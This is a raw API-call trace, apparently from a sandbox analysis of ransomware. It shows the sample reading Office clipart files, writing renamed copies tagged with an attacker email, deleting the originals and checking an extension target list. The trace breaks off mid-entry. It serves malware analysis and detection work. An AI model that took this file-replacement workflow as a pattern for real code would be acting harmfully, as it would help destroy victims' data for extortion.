GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=24796) returned 1 [0115.343] CloseHandle (hObject=0x38c) returned 1 [0115.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf")) returned 0x20 [0115.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0115.344] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.344] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.345] GetLastError () returned 0x0 [0115.345] ReadFile (in: hFile=0x38c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x60dc, lpOverlapped=0x0) returned 1 [0115.367] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x60e0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x60e0, lpOverlapped=0x0) returned 1 [0115.368] ReadFile (in: hFile=0x38c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.368] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.368] SetEndOfFile (hFile=0x198) returned 1 [0115.369] CloseHandle (hObject=0x198) returned 1 [0115.369] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.369] SetEndOfFile (hFile=0x38c) returned 1 [0115.722] CloseHandle (hObject=0x38c) returned 1 [0115.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.752] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf")) returned 1 [0115.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF") returned 63 [0115.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF") returned 63 [0115.778] lstrlenW (lpString=".doc") returned 4 [0115.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.778] lstrlenW (lpString=".docx") returned 5 [0115.778] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0115.778] lstrlenW (lpString=".pdf") returned 4 [0115.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.778] lstrlenW (lpString=".xls") returned 4 [0115.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.778] lstrlenW (lpString=".xlsx") returned 5 [0115.778] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0115.778] lstrlenW (lpString=".ppt") returned 4 [0115.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF") returned 63 [0115.778] lstrlenW (lpString=".zip") returned 4 [0115.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.778] lstrlenW (lpString=".rar") returned 4 [0115.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.778] lstrlenW (lpString=".bz2") returned 4 [0115.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.778] lstrlenW (lpString=".7z") returned 3 [0115.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF") returned 63 [0115.778] lstrlenW (lpString=".dbf") returned 4 [0115.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF") returned 63 [0115.778] lstrlenW (lpString=".1cd") returned 4 [0115.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF") returned 63 [0115.779] lstrlenW (lpString=".jpg") returned 4 [0115.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF") returned 63 [0115.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF") returned 63 [0115.779] lstrlenW (lpString=".doc") returned 4 [0115.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.779] lstrlenW (lpString=".docx") returned 5 [0115.779] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0115.779] lstrlenW (lpString=".pdf") returned 4 [0115.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.779] lstrlenW (lpString=".xls") returned 4 [0115.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.779] lstrlenW (lpString=".xlsx") returned 5 [0115.779] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0115.779] lstrlenW (lpString=".ppt") returned 4 [0115.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF") returned 63 [0115.779] lstrlenW (lpString=".zip") returned 4 [0115.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.779] lstrlenW (lpString=".rar") returned 4 [0115.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.779] lstrlenW (lpString=".bz2") returned 4 [0115.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.779] lstrlenW (lpString=".7z") returned 3 [0115.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF") returned 63 [0115.779] lstrlenW (lpString=".dbf") returned 4 [0115.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF") returned 63 [0115.779] lstrlenW (lpString=".1cd") returned 4 [0115.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF") returned 63 [0115.779] lstrlenW (lpString=".jpg") returned 4 [0115.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.779] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.779] lstrlenW (lpString="J0216874.WMF") returned 12 [0115.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.802] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=39738) returned 1 [0115.802] CloseHandle (hObject=0x3d0) returned 1 [0115.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf")) returned 0x20 [0115.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0115.854] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.854] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0115.857] GetLastError () returned 0x0 [0115.857] ReadFile (in: hFile=0x3ec, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x9b3a, lpOverlapped=0x0) returned 1 [0115.878] WriteFile (in: hFile=0x184, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x9b40, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x9b40, lpOverlapped=0x0) returned 1 [0115.879] ReadFile (in: hFile=0x3ec, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.879] WriteFile (in: hFile=0x184, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.879] SetEndOfFile (hFile=0x184) returned 1 [0115.879] CloseHandle (hObject=0x184) returned 1 [0115.879] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.879] SetEndOfFile (hFile=0x3ec) returned 1 [0115.881] CloseHandle (hObject=0x3ec) returned 1 [0115.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf")) returned 1 [0115.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF") returned 63 [0115.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF") returned 63 [0115.911] lstrlenW (lpString=".doc") returned 4 [0115.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.911] lstrlenW (lpString=".docx") returned 5 [0115.911] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0115.911] lstrlenW (lpString=".pdf") returned 4 [0115.911] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.911] lstrlenW (lpString=".xls") returned 4 [0115.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.911] lstrlenW (lpString=".xlsx") returned 5 [0115.911] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0115.911] lstrlenW (lpString=".ppt") returned 4 [0115.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF") returned 63 [0115.911] lstrlenW (lpString=".zip") returned 4 [0115.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.911] lstrlenW (lpString=".rar") returned 4 [0115.911] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.911] lstrlenW (lpString=".bz2") returned 4 [0115.911] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.911] lstrlenW (lpString=".7z") returned 3 [0115.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF") returned 63 [0115.911] lstrlenW (lpString=".dbf") returned 4 [0115.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF") returned 63 [0115.911] lstrlenW (lpString=".1cd") returned 4 [0115.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF") returned 63 [0115.911] lstrlenW (lpString=".jpg") returned 4 [0115.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF") returned 63 [0115.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF") returned 63 [0115.911] lstrlenW (lpString=".doc") returned 4 [0115.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.911] lstrlenW (lpString=".docx") returned 5 [0115.911] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0115.911] lstrlenW (lpString=".pdf") returned 4 [0115.911] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.911] lstrlenW (lpString=".xls") returned 4 [0115.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.912] lstrlenW (lpString=".xlsx") returned 5 [0115.912] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0115.912] lstrlenW (lpString=".ppt") returned 4 [0115.912] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF") returned 63 [0115.912] lstrlenW (lpString=".zip") returned 4 [0115.912] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.912] lstrlenW (lpString=".rar") returned 4 [0115.912] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.912] lstrlenW (lpString=".bz2") returned 4 [0115.912] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.912] lstrlenW (lpString=".7z") returned 3 [0115.912] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF") returned 63 [0115.912] lstrlenW (lpString=".dbf") returned 4 [0115.912] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF") returned 63 [0115.912] lstrlenW (lpString=".1cd") returned 4 [0115.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF") returned 63 [0115.912] lstrlenW (lpString=".jpg") returned 4 [0115.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.912] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0115.912] lstrlenW (lpString="J0227558.JPG") returned 12 [0115.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0115.921] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=58089) returned 1 [0115.921] CloseHandle (hObject=0x38c) returned 1 [0115.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg")) returned 0x20 [0115.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0115.922] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.922] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0115.923] GetLastError () returned 0x0 [0115.923] ReadFile (in: hFile=0x38c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xe2e9, lpOverlapped=0x0) returned 1 [0115.931] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xe2f0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xe2f0, lpOverlapped=0x0) returned 1 [0115.933] ReadFile (in: hFile=0x38c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.933] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.933] SetEndOfFile (hFile=0x188) returned 1 [0115.933] CloseHandle (hObject=0x188) returned 1 [0115.934] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.934] SetEndOfFile (hFile=0x38c) returned 1 [0115.937] CloseHandle (hObject=0x38c) returned 1 [0115.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg")) returned 1 [0115.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG") returned 63 [0115.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG") returned 63 [0115.964] lstrlenW (lpString=".doc") returned 4 [0115.964] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0115.964] lstrlenW (lpString=".docx") returned 5 [0115.964] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0115.964] lstrlenW (lpString=".pdf") returned 4 [0115.964] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0115.964] lstrlenW (lpString=".xls") returned 4 [0115.964] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0115.964] lstrlenW (lpString=".xlsx") returned 5 [0115.964] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0115.964] lstrlenW (lpString=".ppt") returned 4 [0115.964] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0115.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG") returned 63 [0115.964] lstrlenW (lpString=".zip") returned 4 [0115.964] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0115.964] lstrlenW (lpString=".rar") returned 4 [0115.964] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0115.964] lstrlenW (lpString=".bz2") returned 4 [0115.964] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0115.964] lstrlenW (lpString=".7z") returned 3 [0115.964] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0115.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG") returned 63 [0115.964] lstrlenW (lpString=".dbf") returned 4 [0115.964] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0115.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG") returned 63 [0115.964] lstrlenW (lpString=".1cd") returned 4 [0115.964] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0115.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG") returned 63 [0115.964] lstrlenW (lpString=".jpg") returned 4 [0115.964] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0115.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG") returned 63 [0115.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG") returned 63 [0115.964] lstrlenW (lpString=".doc") returned 4 [0115.964] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0115.965] lstrlenW (lpString=".docx") returned 5 [0115.965] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0115.965] lstrlenW (lpString=".pdf") returned 4 [0115.965] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0115.965] lstrlenW (lpString=".xls") returned 4 [0115.965] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0115.965] lstrlenW (lpString=".xlsx") returned 5 [0115.965] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0115.965] lstrlenW (lpString=".ppt") returned 4 [0115.965] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0115.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG") returned 63 [0115.965] lstrlenW (lpString=".zip") returned 4 [0115.965] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0115.965] lstrlenW (lpString=".rar") returned 4 [0115.965] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0115.965] lstrlenW (lpString=".bz2") returned 4 [0115.965] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0115.965] lstrlenW (lpString=".7z") returned 3 [0115.965] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0115.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG") returned 63 [0115.965] lstrlenW (lpString=".dbf") returned 4 [0115.965] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0115.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG") returned 63 [0115.965] lstrlenW (lpString=".1cd") returned 4 [0115.965] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0115.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG") returned 63 [0115.965] lstrlenW (lpString=".jpg") returned 4 [0115.965] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0115.965] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.965] lstrlenW (lpString="J0228823.WMF") returned 12 [0115.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0115.966] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=26022) returned 1 [0115.966] CloseHandle (hObject=0x398) returned 1 [0115.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf")) returned 0x20 [0115.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program 